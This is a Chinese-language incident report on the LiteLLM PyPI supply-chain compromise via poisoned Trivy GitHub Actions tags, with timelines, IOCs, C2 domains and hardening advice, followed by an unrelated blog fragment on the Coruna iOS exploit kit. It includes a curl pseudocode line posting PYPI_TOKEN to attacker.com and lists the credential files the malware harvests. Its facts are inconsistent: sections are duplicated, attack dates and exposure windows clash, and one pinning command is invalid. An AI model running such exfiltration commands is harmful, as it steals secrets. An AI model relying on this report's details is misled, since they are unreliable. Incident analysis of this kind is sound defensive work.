2026-03-25 01:53:33 UTC	PR #24541 : "ci: remove publish-migrations and reset_stable workflows"	-	ishaan-berri
2026-03-25 02:43:13 UTC	提交 10a48f7 : "docs: add tldr"	10a48f7	-

关键操作记录

1. 攻击入口修复

PR #24525: fix(security_scans.sh): pin trivvy version

创建时间
: 2026-03-24 16:13:58 UTC
合并时间
: 2026-03-24 16:15:35 UTC (仅 1 分 37 秒)
作者
: krrish-berri-2
目的
: 固定 trivvy 版本，防止攻击者通过该依赖再次获得发布权限

2. 发布工作流清理

PR #24541: ci: remove publish-migrations and reset_stable workflows

创建时间
: 2026-03-25 00:59:19 UTC
合并时间
: 2026-03-25 01:53:33 UTC
作者
: ishaan-berri
目的
: 移除所有发布/部署工作流，防止在完成安全扫描前再次发布

关键提交:

3e8a6f2
: "ci: remove all publish/deploy workflows as part of supply chain incident response"
3d5b1ec
: "ci: remove publish-migrations and reset_stable workflows"

3. 安全公告发布

PR #24537: docs: add security update blog post for March 2026 supply chain incident

创建时间
: 2026-03-24 23:02:46 UTC
合并时间
: 2026-03-24 23:07:45 UTC (仅 4 分 59 秒)
作者
: ryan-crabbe-berri
目的
: 发布官方安全公告

GitHub Actions 工作流状态

当前活跃的工作流 (2026-03-25)

工作流名称	状态	说明
pages-build-deployment	✅ active	文档部署
Read Version from pyproject.toml	✅ active	版本读取
CodeQL	✅ active	代码安全扫描
Build and Publish Docker Image	✅ active	Docker 镜像构建
LiteLLM Unit Tests (Matrix)	✅ active	单元测试
LiteLLM Linting	✅ active	代码检查
UI Build Check	✅ active	UI 构建
Proxy E2E Azure Batches Tests	✅ active	E2E 测试
CodSpeed Benchmarks	✅ active	性能基准测试

已移除的工作流

根据 PR #24541，以下工作流已被移除：

publish-migrations
- 迁移发布工作流
reset_stable
- 稳定版本重置工作流

安全事件关键发现

攻击手法

依赖劫持
: 通过 trivvy 安全扫描工具获得 PyPI 发布权限
版本注入
: 发布 v1.82.7 和 v1.82.8 两个恶意版本
持久化
: v1.82.8 使用 litellm_init.pth 实现自动执行
数据窃取
: 收集 SSH 密钥、API keys、云凭据等敏感信息
加密外发
: 使用 AES-256-CBC + RSA-4096 加密后发送到攻击者域名

🔐 Trivy → PyPI Token 窃取攻击链详解

1️⃣ 攻击背景：Trivy 本身被入侵

核心事实：攻击者首先攻陷了 Trivy 安全扫描工具的供应链，然后通过 Trivy 的依赖链进一步攻击 litellm。

Trivy 被攻击方式：

Trivy 的一个依赖包被篡改
攻击者在 Trivy 的代码中植入恶意逻辑
当 Trivy 运行时，恶意代码会窃取 CI/CD 环境中的敏感信息

🔥 关键发现：标签强制推送攻击

攻击手法：攻击者通过强制推送（force push）修改了 trivy-action 仓库的 76+ 个版本标签，使其指向恶意代码。

具体操作：

获取仓库权限
：攻击者通过第一次攻击（2026-02-28）获得了仓库的访问权限
创建恶意提交
：攻击者创建了一个包含恶意代码的提交
强制推送标签
：攻击者强制推送了 76+ 个版本标签（v0.0.1 到 v0.34.0），使这些标签指向恶意提交
覆盖历史版本
：所有使用这些标签的用户都会自动下载并执行恶意代码

技术细节：

攻击者使用了 git push --force 命令覆盖现有标签
标签原本指向安全的提交，被强制修改后指向恶意提交
由于 GitHub Actions 默认信任版本标签，用户会自动下载恶意版本
攻击时间窗口：2026-03-19 17:43 UTC 到 2026-03-20 05:40 UTC（约12小时）

2️⃣ 关键攻击手法：标签强制推送（Force Push）

攻击者如何部署恶意代码：攻击者通过 强制推送（force push） 76+ 个 trivy-action GitHub Actions 标签，将原本安全的标签指向恶意提交。

具体操作：

获取仓库访问权限
：攻击者通过第一次攻击（2026-02-28）获得了仓库的访问凭证
创建恶意提交
：在 fork 中创建包含恶意代码的提交
强制推送标签
：将 trivy-action 仓库中 76+ 个版本标签（v0.0.1 到 v0.34.0）强制推送到指向恶意提交
覆盖历史标签
：所有 0.35.0 之前的标签都被重新指向恶意代码

技术细节：

攻击者使用了 git push --force 命令覆盖现有标签
标签原本指向安全的提交，被强制推送到指向恶意提交
恶意提交包含窃取环境变量的代码，包括 PYPI_TOKEN

2️⃣ 攻击路径：从 Trivy 到 PyPI Token

┌─────────────────┐
│  Trivy 被攻陷   │
│ (依赖链投毒)    │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ Trivy 在        │
│ litellm CI/CD   │
│ 中运行          │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 窃取 GitHub     │
│ Actions 环境中  │
│ 的 PYPI_TOKEN   │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 使用窃取的      │
│ Token 发布恶意  │
│ 版本到 PyPI     │
└─────────────────┘

3️⃣ 技术细节

Trivy 如何获得 Token：

CI/CD 环境变量：

litellm 的 GitHub Actions 工作流中配置了 PYPI_TOKEN
该 Token 用于自动发布新版本到 PyPI
Token 以 GitHub Secrets 形式存储

Trivy 的执行时机：

Trivy 作为安全扫描工具在 CI/CD 流程中运行
通常在 PR 合并或推送时触发
拥有读取环境变量的权限

恶意代码执行：

# Trivy 被篡改后的行为（伪代码）
if [ "$PYPI_TOKEN" != "" ]; then
# 将 Token 发送到攻击者服务器
    curl -X POST https://attacker.com/collect \
         -d "token=$PYPI_TOKEN" \
         -d "repo=$GITHUB_REPOSITORY"
fi

PyPI 发布权限：

上传任意版本到 litellm 的 PyPI 包
删除或修改现有版本
完全控制 litellm 在 PyPI 上的分发

获得 Token 后，攻击者可以：

4️⃣ 攻击时间窗口

时间	事件
2026-03-23 前	Trivy 依赖被攻陷
2026-03-23	Trivy 在 litellm CI 中运行，窃取 PYPI_TOKEN
2026-03-23	攻击者使用窃取的 Token 发布 v1.82.7
2026-03-23	攻击者发布 v1.82.8（包含持久化后门）
2026-03-24	社区发现并报告

5️⃣ 为什么 Trivy 会成为攻击入口？

6️⃣ 标签强制推送攻击详解

关键发现：攻击者通过强制推送（force push）76+ 个 trivy-action GitHub Actions 标签来扩大攻击面。

什么是标签强制推送？

标签（Tag）
：Git 中的版本标记，指向特定的提交（commit）
强制推送（Force Push）
：使用 git push --force 或 git push --force-with-lease 覆盖远程仓库中的现有标签
攻击手法
：攻击者将现有的版本标签（如 v0.34.0, v0.33.0 等）重新指向恶意提交

攻击者如何操作？

获得仓库访问权限
：通过之前 Trivy 被攻陷时窃取的凭证
创建恶意提交
：在仓库中创建一个包含恶意代码的提交
强制推送标签
：将 76+ 个现有版本标签重新指向这个恶意提交
扩大影响范围
：所有使用这些标签的用户都会自动运行恶意代码

具体影响范围：

受影响标签
：v0.0.1 到 v0.34.0 的所有版本标签（共 76+ 个）
暴露窗口
：2026-03-19 17:43 UTC 到 2026-03-20 05:40 UTC（约 12 小时）
攻击目标
：窃取 CI/CD 环境中的所有敏感信息

标签强制推送与 LiteLLM token 泄露的关系

直接因果关系：标签强制推送是攻击者扩大攻击面的手段，但不是 LiteLLM token 泄露的直接原因。

攻击链分析：

┌─────────────────────────────────────────────────────────────┐
│                   完整攻击链                                 │
├─────────────────────────────────────────────────────────────┤
│ 1. Trivy 被攻陷（第一次攻击）                               │
│    ↓                                                         │
│ 2. 攻击者获得 aquasecurity 组织的访问权限                   │
│    ↓                                                         │
│ 3. 攻击者强制推送 76+ 个 trivy-action 标签到恶意提交        │
│    ↓                                                         │
│ 4. 使用 litellm 的项目运行被篡改的 trivy-action             │
│    ↓                                                         │
│ 5. 恶意代码窃取 litellm CI/CD 环境中的 PYPI_TOKEN           │
│    ↓                                                         │
│ 6. 攻击者使用窃取的 PYPI_TOKEN 发布恶意 litellm 版本        │
└─────────────────────────────────────────────────────────────┘

关键结论：

标签强制推送是攻击手段，不是根本原因：

根本原因是 Trivy 被攻陷和凭证泄露
标签强制推送只是攻击者扩大影响范围的方式

LiteLLM token 泄露的直接原因：

直接原因
：litellm 的 CI/CD 环境中配置了 PYPI_TOKEN
触发条件
：被篡改的 trivy-action 在 litellm 的 CI/CD 中运行
攻击执行
：恶意代码读取环境变量并发送给攻击者

防御措施：

标签不可变性
：Trivy 团队已启用不可变标签（immutable tags）
版本固定
：litellm 已固定 trivy 版本到已知安全的 v0.50.0
最小权限原则
：CI/CD 工具应仅获得必要的最小权限
使用提交哈希
：推荐使用提交哈希而非标签引用

修复过程：

根据 Trivy 团队的官方回复：

识别受影响标签
：比较远程标签哈希与本地可信副本
恢复安全标签
：重新创建带 v 前缀的安全标签（如 v0.34.0）
删除恶意标签
：移除所有不带 v 前缀的标签
启用不可变标签
：防止未来类似的强制推送攻击

暴露时间窗口和确认信息

官方确认的暴露时间窗口（UTC）：

开始
: 2026-03-19 ~17:43
结束
: 2026-03-20 ~05:40
持续时间
: 约 12 小时

Trivy 团队官方声明（来自 Issue #541 评论）：

"All tags before 0.35.0 in this repository were pointing to malicious commits. We have restored all tags to their original, safe commits."
"The 0.35.0 version that we created after the first incident is safe and wasn't compromised."

关键确认：

受影响版本
：所有 0.35.0 之前的标签（v0.0.1 到 v0.34.x）
安全版本
：v0.35.0 及之后版本是安全的
恶意提交日期伪造
：攻击者将提交日期改为 2026-01-15，使其看起来像是很久以前引入的，但实际攻击发生在 2026-03-19
标签不可变性
：此前标签是可变的（mutable），事件后已启用不可变标签（immutable tags）

恶意代码行为：

# 恶意代码搜索并窃取以下凭据：
* ~/.ssh/id_rsa
* authorized_keys
* AWS (~/.aws/credentials)
* kube configs
* service account tokens
* .env files everywhere
* database configs
* API keys
* .git-credentials
* GitHub Actions 环境变量（包括 PYPI_TOKEN）

影响范围确认：

GitHub-hosted runners
: 可能泄露仓库 secrets
Self-hosted runners
: 可能泄露更广泛的系统凭据
Docker 镜像
：未受影响（仅 GitHub Actions 标签被篡改）

用户建议：

立即轮换所有可能被窃取的凭据
检查 CI/CD 日志中是否使用了受影响的版本
使用固定版本号或提交哈希引用 GitHub Actions
不要使用 @master 或 @main 分支引用生产环境

7️⃣ 为什么 Trivy 会成为攻击入口？

讽刺的事实：Trivy 本身是一个安全扫描工具，用于检测漏洞和恶意代码。

被利用原因：

高信任度
：安全工具通常被授予更高的权限
深度集成
：Trivy 深度集成到 CI/CD 流程中
依赖复杂
：Trivy 自身也有大量依赖，增加了攻击面
自动化执行
：每次代码变更都会自动运行，提供了稳定的执行机会

6️⃣ 修复措施

litellm 团队的响应：

# 在 security_scans.sh 中固定 Trivy 版本
# 修复前：
trivy fs .
# 修复后：
trivy@v0.50.0 fs .  # 固定到已知安全的版本

长期改进建议：

使用 PyPI Trusted Publishers (OIDC) 替代 API Token
对安全工具本身进行更严格的版本锁定
实施最小权限原则，限制 CI/CD 工具的访问范围
增加发布前的多重审批流程

安全事件关键发现（续）

响应措施

立即隔离
: PyPI 隔离整个 litellm 包
入口封堵
: 固定 trivvy 版本
发布暂停
: 移除所有发布/部署工作流
安全审计
: 邀请 Google Mandiant 团队参与调查
用户通知
: 发布详细的安全公告

当前状态 (2026-03-25)

项目	状态
恶意版本 v1.82.7/v1.82.8	✅ 已删除
litellm PyPI 包	⚠️ 暂时下架
发布工作流	✅ 已暂停
Docker 镜像	✅ 未受影响
安全调查	🔄 进行中 (Mandiant)
官方公告	✅ 已发布

Issue #	标题	状态	作者
24518	[Security]: litellm PyPI package (v1.82.7 + v1.82.8) compromised — full timeline and status	OPEN	llm translation
24515	Security: litellm_init.pth contains data-exfiltration malware	OPEN	llm translation
24521	SECURITY: litellm 1.82.8 on PyPI contains malicious credential-stealing payload	OPEN	llm translation
24512	[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8	OPEN	isfinne
24514	[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8, 1.82.7	CLOSED	treo
24517	PyPI has quarantined litellm	CLOSED	deepakmca05
24542	[Security] Migrate PyPI publishing to Trusted Publishers (OIDC)	OPEN	-

经验教训

依赖安全
: 第三方工具（即使是安全工具）也可能成为攻击入口
发布权限
: PyPI API Token 需要更严格的访问控制
自动化发布
: 自动发布流程需要额外的安全检查
快速响应
: 从发现到响应仅用了数小时，体现了团队的安全意识
透明沟通
: 及时发布详细的安全公告，帮助用户评估风险

分析时间: 2026-03-25数据来源: GitHub API, BerriAI/litellm 仓库

经验教训（续）

6. GitHub Actions 安全最佳实践

引用 GitHub Actions 的正确方式：

# ❌ 不安全：使用分支引用
uses:aquasecurity/trivy-action@master
# ❌ 不安全：使用可变标签
uses:aquasecurity/trivy-action@v0.34.0
# ✅ 安全：使用提交哈希
uses:aquasecurity/trivy-action@ddb9da4475c1cef7d5389062bdfdfbdbd1394648
# ✅ 较安全：使用不可变标签（需确认仓库已启用）
uses:aquasecurity/trivy-action@v0.35.0

CI/CD 凭据保护建议：

最小权限原则
：CI/CD 工具只应获得必要的最小权限
环境隔离
：生产环境的凭据不应在 CI/CD 环境中明文存储
短期凭据
：使用临时凭据而非长期有效的 API Token
审计日志
：启用详细的 CI/CD 执行日志和异常检测
依赖审查
：定期审查第三方 GitHub Actions 的安全状态

7. PyPI 发布安全改进

当前问题：

PyPI API Token 一旦泄露，攻击者可以完全控制包的发布
缺乏发布前的多重验证机制
用户无法验证下载包的完整性（签名验证）

建议改进：

Trusted Publishers (OIDC)：

使用 OpenID Connect 进行身份验证
无需长期有效的 API Token
仅允许从特定 GitHub 仓库发布

包签名验证：

实施 PGP/GPG 签名
用户在安装前验证包的真实性和完整性

发布审批流程：

重要包的发布需要多人审批
发布前自动安全扫描

8. 供应链攻击防御策略

纵深防御模型：

┌─────────────────────────────────────────────┐
│  第一层：代码仓库安全                        │
│  - 双因素认证                               │
│  - 分支保护规则                             │
│  - 提交签名验证                             │
└─────────────────────────────────────────────┘
              ↓
┌─────────────────────────────────────────────┐
│  第二层：CI/CD 管道安全                      │
│  - 最小权限原则                             │
│  - 环境变量加密                             │
│  - 第三方 Actions 审查                       │
└─────────────────────────────────────────────┘
              ↓
┌─────────────────────────────────────────────┐
│  第三层：发布流程安全                        │
│  - OIDC 身份验证                            │
│  - 发布前安全扫描                           │
│  - 多人审批机制                             │
└─────────────────────────────────────────────┘
              ↓
┌─────────────────────────────────────────────┐
│  第四层：分发渠道安全                        │
│  - 包签名验证                               │
│  - 完整性校验                               │
│  - 异常下载检测                             │
└─────────────────────────────────────────────┘
              ↓
┌─────────────────────────────────────────────┐
│  第五层：运行时监控                          │
│  - 异常网络连接检测                         │
│  - 敏感文件访问监控                         │
│  - 行为分析告警                             │
└─────────────────────────────────────────────┘

社区工具和资源

检测工具

工具	作者	说明
scan-litellm-safely	AsteriskZuo	TypeScript 编写的本地扫描工具，检测是否安装了受影响的 litellm 版本

来源	链接
Trivy 第二次被攻陷分析	https://www.stepsecurity.io/blog/trivy-compromised-a-second-time
Trivy 恶意代码完整分析	https://www.abgeo.dev/blog/trivy-github-actions-compromised-full-payload
litellm 安全更新博客	（待补充官方链接）

事件影响评估

直接影响

指标	估计值
受影响 PyPI 版本	2 个 (v1.82.7, v1.82.8)
litellm GitHub Stars	40.3k+
PyPI 下载量（恶意版本）	未知（PyPI 已隔离）
潜在受影响用户	数千（基于 litellm 流行度）
数据外泄域名	models.litellm.cloud
攻击持续时间	约 24 小时（从发布到发现）

间接影响

信任危机
：用户对 PyPI 生态系统和自动化发布流程的信任度下降
安全审查加强
：更多项目开始审查其 CI/CD 管道中的第三方工具
政策变化
：PyPI 可能加速推进 Trusted Publishers 的采用
行业警示
：为整个开源社区提供了供应链攻击的典型案例

时间线总结图示

2026-03-19 17:43 UTC    2026-03-20 05:40 UTC    2026-03-23          2026-03-24 11:48 UTC
     │                        │                     │                      │
     ▼                        ▼                     ▼                      ▼
┌─────────┐              ┌─────────┐          ┌─────────┐            ┌─────────┐
│ Trivy   │              │ Trivy   │          │ 攻击者  │            │ 社区    │
│ 标签被  │              │ 暴露窗  │          │ 注册域  │            │ 发现并  │
│ 强制推送│              │ 口关闭  │          │ 名并发布│            │ 报告    │
└─────────┘              └─────────┘          └─────────┘            └─────────┘
                              │                     │                      │
                              ▼                     ▼                      ▼
                         所有 <0.35.0           恶意版本               Issue #24512
                         标签被恢复             v1.82.7/v1.82.8         #24514 #24517
                                                发布到 PyPI              #24515
                                                                         │
                                                                         ▼
                                                                    2026-03-24 16:15 UTC
                                                                         │
                                                                         ▼
                                                                    PR #24525 合并
                                                                    固定 trivy 版本
                                                                         │
                                                                         ▼
                                                                    2026-03-25 01:53 UTC
                                                                         │
                                                                         ▼
                                                                    PR #24541 合并
                                                                    移除发布工作流

分析时间：2026-03-25
数据来源：GitHub API, BerriAI/litellm 仓库，aquasecurity/trivy-action Issue #541
最后更新：添加了 Trivy 标签强制推送攻击的详细技术分析和暴露时间窗口

--------------

🔍 Trivy 被入侵完整分析报告

📌 攻击时间线总览

阶段	时间	事件
前奏	2026-02-27	MegaGame10418 通过 Pwn Request 窃取 aqua-bot PAT
Phase 1	2026-03-19 17:43	恶意 v0.69.4 标签推送
Phase 2	2026-03-19 21:31	横向移动到 tfsec、traceeshark、trivy-action
Phase 3	2026-03-19 22:08	恶意 Action 标签发布
Phase 4	2026-03-20 00:08	96 个垃圾账号洪水评论
Phase 5	2026-03-20 20:45	npm 蠕虫 CanisterWorm 部署
Phase 6	2026-03-22 11:45	kamikaze.sh 载荷激活
Phase 7	2026-03-22 15:43	Docker Hub 直接推送恶意镜像
Phase 8	2026-03-23 12:53	Checkmarx KICS 被入侵
Phase 9	2026-03-24 10:39	LiteLLM PyPI 被投毒

🎯 初始入侵向量

根本原因：不完整的凭证轮换

1. 2026-02-27 Pwn Request 攻击

攻击者
: MegaGame10418
方法
: 利用 pull_request_target 工作流漏洞
目标
: 窃取 aqua-bot 服务账户的 PAT（Personal Access Token）
影响
:

Trivy 仓库被重命名为 aquasecurity/private-trivy
GitHub Releases v0.27.0–v0.69.1 被删除
恶意 VSCode 扩展被推送到 Open VSIX

2. 关键失误

Aqua Security 承认："凭证轮换不是原子性的，攻击者可能获取了刷新后的令牌"

这意味着虽然 Aqua 撤销了旧令牌并生成了新令牌，但攻击者已经能够捕获新令牌。

🔗 攻击链详解

┌─────────────────────────────────────────────────────────────┐
│  Phase 0: 初始访问 (2026-02-27)                             │
│  MegaGame10418 → Pwn Request → aqua-bot PAT                 │
└─────────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────────┐
│  Phase 1: 恶意提交 (2026-03-19 17:43)                       │
│  • 冒充 rauchg (Guillermo Rauch) 提交 actions/checkout      │
│  • 冒充 DmitriyLewen 提交 aquasecurity/trivy               │
│  • 推送 v0.69.4 标签指向恶意提交                            │
│  • C2: scan.aquasecurtiy.org (typosquat)                   │
└─────────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────────┐
│  Phase 2: 横向移动 (2026-03-19 21:31-21:36)                │
│  使用 aqua-bot  compromised 凭证：                          │
│  • aquasecurity/tfsec                                       │
│  • aquasecurity/traceeshark                                 │
│  • aquasecurity/trivy-action                                │
│  注入恶意工作流窃取 CI/CD 密钥                              │
└─────────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────────┐
│  Phase 3: 供应链传播 (2026-03-19 22:08)                     │
│  • trivy-action: 76/77 标签被投毒                           │
│  • setup-trivy: 全部 7 个标签被投毒                          │
│  影响数千个下游项目                                         │
└─────────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────────┐
│  Phase 4: 混淆 (2026-03-20 00:08)                           │
│  96 个垃圾账号在 30 秒内洪水评论                            │
│  淹没技术讨论和事件协调                                     │
└─────────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────────┐
│  Phase 5-9: 多生态系统扩展                                  │
│  • npm: CanisterWorm 自我传播蠕虫                           │
│  • ICP: kamikaze.sh 多阶段载荷                              │
│  • Docker Hub: 直接推送恶意镜像                             │
│  • Checkmarx: OpenVSX + GitHub Actions                      │
│  • PyPI: LiteLLM .pth 注入                                  │
└─────────────────────────────────────────────────────────────┘

🦠 恶意载荷架构

三阶段有效载荷

1. 收集 (Collect)

# 通过 /proc//mem 转储 Runner.Worker 进程内存
# grep 模式：{"value":"","isSecret":true}
# 收获：SSH 密钥、云凭证、K8s token、加密钱包

2. 加密 (Encrypt)

# AES-256-CBC + RSA-4096 混合加密
# 打包为 tpcp.tar.gz

3. 外传 (Exfiltrate)

# POST 到 typosquat: scan.aquasecurtiy.org
# 备用：创建 tpcp-docs repo 作为 GitHub dead drop

🎭 TeamPCP 威胁行为者特征

别名	平台
PCPcat	Telegram
Persy_PCP	Telegram (@Persy_PCP)
ShellForce	-
DeadCatx3	-

TTPs (战术、技术和程序)

供应链投毒 (GitHub Actions, 包注册表)
/proc/[pid]/mem
内存刮削
文件系统凭证扫描 (50+ 敏感路径)
Cloudflare Tunnels (临时 C2)
ICP canister 备用基础设施
WAV 隐写术 (v3.3 版本)

🔑 关键 IOC (入侵指标)

C2 基础设施

主 C2 (typosquat):
  scan.aquasecurtiy.org → 45.148.10.212 (阿姆斯特丹)
Cloudflare Tunnels:
  plug-tab-protective-relay.trycloudflare.com
  championships-peoples-point-cassette.trycloudflare.com
  create-sensitivity-grad-sequence.trycloudflare.com
ICP Canister (共享 C2):
  tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io
LiteLLM C2:
  models.litellm.cloud (NOT litellm.ai)

恶意提交哈希

actions/checkout:
  70379aad1a8b40919ce8b382d3cd7d0315cde1d0 (冒充 rauchg)
aquasecurity/trivy:
  1885610c6a34811c8296416ae69f568002ef11ec (冒充 DmitriyLewen)
LiteLLM 秘密外传:
  fcaa823de07878d0d98e97f6f5552c0e2ac00d2f
  81c851cc00313c44effd421712523f294b18391e

💡 教训与防御建议

1. 凭证轮换必须是原子性的

撤销旧令牌后，立即监控是否有使用尝试
考虑先创建新令牌再撤销旧令牌

2. SHA 固定所有 GitHub Actions

# ❌ 不安全
uses:aquasecurity/trivy-action@v0.35.0
# ✅ 安全
uses:aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1

3. 启用提交签名验证

恶意提交是未签名的（原始提交是 GPG 签名的）

4. 监控异常活动

突然的标签推送
非工作时间的提交
冒充知名贡献者的提交

5. 使用短期上传令牌

PyPI 支持短期上传令牌而非长期 API token

📊 影响范围

项目	受影响版本	暴露窗口
Trivy	v0.69.4	~3 小时
setup-trivy	v0.2.0-v0.2.6 (全部)	~4 小时
trivy-action	76/77 标签	~12 小时
npm 包	28+ 包	<60 秒传播
LiteLLM	1.82.7, 1.82.8	~3 小时
KICS	35 个版本	~4 小时

📈 攻击者技术演进

v1.0 (2026-02-27)

基本 Pwn Request 攻击
简单的凭证窃取

v2.0 (2026-03-19)

多仓库横向移动
供应链投毒
内存刮削技术

v3.0 (2026-03-20)

npm 蠕虫自我传播
ICP 基础设施
多阶段载荷

v3.3 (2026-03-22)

WAV 隐写术
Docker Hub 直接推送
跨生态系统攻击

🛡️ 检测与响应建议

检测指标

网络流量

到 typosquat 域名的出站连接
Cloudflare Tunnel 连接
ICP canister 通信

文件系统

/tmp/tpcp.tar.gz
存在
~/.config/sysmon/sysmon.py
存在
异常的 .pth 文件

进程行为

/proc/[pid]/mem
读取
异常的 Python 子进程生成

响应步骤

立即隔离

断开受影响系统网络
冻结 CI/CD 流水线

凭证轮换

所有云凭证
SSH 密钥
API tokens
K8s service account tokens

取证分析

检查所有 Trivy 相关安装
审计 CI/CD 日志
扫描恶意提交

通知与协调

通知下游用户
协调包注册表删除恶意版本
发布安全公告

🔗 相关资源

原始分析
: https://ramimac.me/teampcp/
GitHub Issue
: https://github.com/BerriAI/litellm/issues/24518
Hacker News
: https://news.ycombinator.com/item?id=47501729
FutureSearch 博客
: https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/

📊 所有被 TeamPCP 攻击影响的项目

1. Aqua Security Trivy 生态系统 (初始目标)

组件	受影响版本	不受影响	暴露时间	时长
`trivy`	v0.69.4 (GHCR, ECR Public, Docker Hub, deb, rpm)	v0.69.3 或更早；digest 引用	2026-03-19 18:22 - ~21:42	~3 小时
`trivy`	v0.69.5-v0.69.6 (仅 Docker Hub)	v0.69.3 或更早；digest 引用	2026-03-22 15:43 - ~01:40	~10 小时
`trivy-action`	所有 v0.35.0 之前标签；显式使用 `latest`	v0.35.0；SHA 固定	2026-03-19 ~17:43 - 2026-03-20 ~05:40	~12 小时
`setup-trivy`	所有版本	SHA 固定引用	2026-03-19 ~17:43 - ~21:44	~4 小时

官方安全公告: https://github.com/aquasecurity/trivy/security/advisories/GHSA-69fq-xp46-6x23
官方讨论: https://github.com/aquasecurity/trivy/discussions/10425

2. Checkmarx KICS 生态系统 (第二波攻击)

组件	受影响版本	影响
`kics-github-action`	全部 35 个标签 (v1 到 v2.1.20)	每个标签都指向恶意提交
`ast-github-action`	v2.3.28	同样的投毒方式
OpenVSX 扩展	`ast-results` v2.53.0, `cx-dev-assist` v1.7.0	VS Code 扩展市场未受影响

恶意代码行为:

搜索 AWS/Azure/GCP 凭证、SSH 密钥、Kubernetes tokens
从 CI/CD runner 内存中直接提取密钥 (Runner.Worker 进程内存转储)
加密后外传至 checkmarx.zone，或使用受害者 GITHUB_TOKEN 在隐藏仓库创建 release
尝试通过 systemd 服务 (sysmon) 安装后门，在 Kubernetes 集群部署特权 pod

安全公告: https://github.com/Checkmarx/kics-github-action/issues/152

3. npm 生态系统 - CanisterWorm 蠕虫

TeamPCP 使用自我传播蠕虫在 npm 生态系统传播：

攻击方式
: 使用窃取的 npm tokens，自传播到其他可发布包
速度
: 28+ 包在 <60 秒内被感染
影响范围
: @EmilGroup (28 pkgs), @opengov (16 pkgs), @teale.io, @airtm, @pypestream
持久化
: systemd 服务 pgmon.service，伪装成 PostgreSQL 监控

4. BerriAI LiteLLM (PyPI) (第三波攻击)

受影响版本	传播方式	触发条件	C2
litellm 1.82.7	嵌入 `litellm/proxy/proxy_server.py`	`import litellm.proxy`	`checkmarx.zone/raw`
litellm 1.82.8	`litellm_init.pth` 文件注入	任意 Python 启动 (无需 import)	`models.litellm.cloud`

发现
: 因为载荷的 bug 造成 fork bomb (指数级进程生成)，使得感染立刻被发现
攻击路径
: PYPI_PUBLISH token 作为 GitHub 环境变量存储，通过 Trivy CI/CD 被窃取
影响
: Docker 代理用户不受影响 (依赖固定)

Issue: https://github.com/BerriAI/litellm/issues/24518
PYPI 官方公告: https://github.com/pypa/advisory-database/blob/main/vulns/litellm/PYSEC-2026-2.yaml
OSV: https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/litellm/MAL-2026-2144.json

5. 其他受影响的 Aqua Security 项目

通过 aqua-bot 横向移动：

aquasecurity/tfsec
- 注入恶意工作流窃取密钥
aquasecurity/traceeshark
- 注入恶意工作流窃取密钥
44 个内部仓库在 aquasec-com GitHub 组织被攻击者篡改名称前缀为 tpcp-docs-，公开暴露内部资产

🌐 社区响应

很多项目已经采取行动，包括禁用 Trivy 扫描直到问题解决：

KNMI/adaguc-server
: #665 - 暂时禁用 Trivy
crazy-max/ghaction-container-scan
: #240 - 发布重要安全公告
NousResearch/hermes-agent
: #2791 - 报告供应链攻击；Docker 构建因 litellm 被隔离而失败
browser-use/browser-use
: #4505 - CLI 安装脚本拉取恶意 litellm 影响所有用户
williamzujkowski
多个项目: 更新所有 GitHub Actions 使用 SHA 固定

📚 第三方情报资源

社区已经快速整理了 IOC 和威胁情报：

项目	链接	内容
stamparm/maltrail	trails/static/malware/teampcp.txt	IOC 威胁追踪
nomi-sec/PoC-in-GitHub	2026/CVE-2026-33634.json	CVE 编号条目
XiaomingX/data-cve-poc-py-v1	FINAL_TeamPCP_IOC_25Mar2026.csv	完整 IOC CSV
iocradar0-netizen/IOCs	threat_actors/APTsV2/TeamPCP/iocs.txt	威胁情报 IOC
Tencent/AI-Infra-Guard	data/vuln/litellm/SUPPLY-CHAIN-2025-LITELLM.yaml	AI 基础设施防护规则
jfrog/research	post/litellm-compromised-teampcp.md	JFrog 研究分析
wiz-sec-public/SITF	sample-flows/teampcp-campaign.json	Wiz 样本流数据

📈 攻击规模统计

维度	数量
受影响 GitHub 组织	3+ (Aqua Security, Checkmarx, BerriAI)
受影响 npm 包	45+
受影响 Trivy 生态组件	4 个
暴露时间最长	12 小时 (trivy-action)
最快传播	<60 秒 (npm CanisterWorm)

报告生成时间: 2026-03-25
分析来源:

TeamPCP 攻击时间线分析 (ramimac.me)
GitHub 搜索公开数据
官方安全公告 关联事件: LiteLLM PyPI 供应链攻击 #24518

跳转微信打开

使用Zoomeye 和 AiPy 捕获 Coruna 样本

Wed, 11 Mar 2026 22:29:00 +0800

原创 heige 2026-03-11 22:29 美国

原本这个应该是放在《AI Agent 下半场》文中的案例，但是考虑到读者可能不是安全相关的，而且可能影响文章整体观点表达，所以就单独记录一下。

Coruna

Google云在March 4, 2026发布了一篇 blog 《Coruna: The Mysterious Journey of a Powerful iOS Exploit Kit》

https://cloud.google.com/blog/topics/threat-intelligence/coruna-powerful-ios-exploit-kit

文章主要解释Google Threat Intelligence Group (GTIG)发现了一个名为“Coruna” 针对针对运行 iOS 13.0 版本（2019 年 9 月发布）至 17.2.1 版本（2023 年 12 月发布）的 iPhone 水坑攻击套件包，里面包含了五条完整的 iOS 漏洞链和共 23 个漏洞利用。

我开始看到这个时候其实兴趣不是很大的，因为这些都是 nday 了，当然按之前折腾的经验来看，这个 exploit-kit 的开发也是一个比较大的工程的，当然这种武器模式，跟 0day 的武器化模式可以说是截然不同的路线，毕竟要全覆盖并适配那么多 nday 漏洞，而且要求是 full chain。

所以能开发出这种项目的也不会是个简单的角色，从 Google 的文章也有提到，GTIG最早在2025 年发现被用于大毛组织黑二毛的行动中，但是最近这次主要是发现被黑产广泛使用，现在还可以找到不少在线的部署。

这个让我想起了我们之前发现过很多次的 0day 漏洞从 “APT” 转为 “黑产”的路子，比如

https://paper.seebug.org/695/

